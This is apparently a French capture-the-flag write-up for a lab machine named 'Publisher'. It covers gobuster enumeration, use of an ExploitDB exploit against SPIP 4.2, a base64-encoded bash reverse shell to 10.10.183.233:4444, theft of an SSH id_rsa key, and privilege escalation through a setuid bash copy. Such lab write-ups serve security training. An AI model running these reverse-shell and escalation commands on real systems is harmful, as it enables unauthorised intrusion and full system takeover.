Publisher
Config
sudo echo '[IP] publisher.thm' >> /etc/hosts
Reconnaissance
nmap ip
Gobuster dir -u http://publisher -w /usr/share/wordlists/dirbuster/medium.txt
et
Gobuster dir -u http://publisher/spip -w /usr/share/wordlists/dirbuster/medium.txt
Dans le fichier on observe la version de spip : 4.2.
Sur exploitDB on trouve l'exploit.

Convertir un reverse shell en Base64
echo -n "bash -i >& /dev/tcp/10.10.183.233/4444 0>&1" | base64 -w0
-w0 : spécifier la longueur de la ligne de sortie, ici avec une valeur de 0
-n : empêcher l'ajout d'un saut de ligne à la fin de la chaîne de caractères affichée.
Lancer l'attaque :
python3 CVE.py -u 'http://publisher.thm/spip/' -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xODMuMjMzLzQ0NDQgMD4mMQ== | base64 -d | bash"

Recupérer le shell + user.txt.
On observe un dossier caché ".ssh" dans le repertoire de l'utilisateur think :

PRIVESC
Changer de user
Copier le fichier id_rsa sur kali, lui donner les droits et se connecter en ssh.

On observe que /bin/bash
s'exécute en tant que root, donc on le copie dans /dev/shm
car ce répertoire est accessible pour les utilisateurs et permet de stocker des fichiers temporaires. Cela nous aide à préparer un shell Bash avec des privilèges élevés.
Avant cela, nous étions dans ash
, un shell limité. Copier /bin/bash
dans /dev/shm
nous permet de remplacer ash
par Bash, offrant plus de fonctionnalités.
Ensuite, on exécute ./bash -p
pour démarrer Bash avec des privilèges root, ce qui permet d'obtenir un accès complet au système.

Le script run_container.sh est modifiabke et a les droits root :

le fichier run_container_sh
est modifiable et peut s'exécuter en tant que root. Voici ce que fait le script modifié :
Copie
/bin/bash
dans/tmp/default
: Cela place une copie du shell Bash (qui a des privilèges root) dans un répertoire temporaire.Définit le bit
setuid
: Cela rend la copie du shell Bash exécutable avec des privilèges root.

Last updated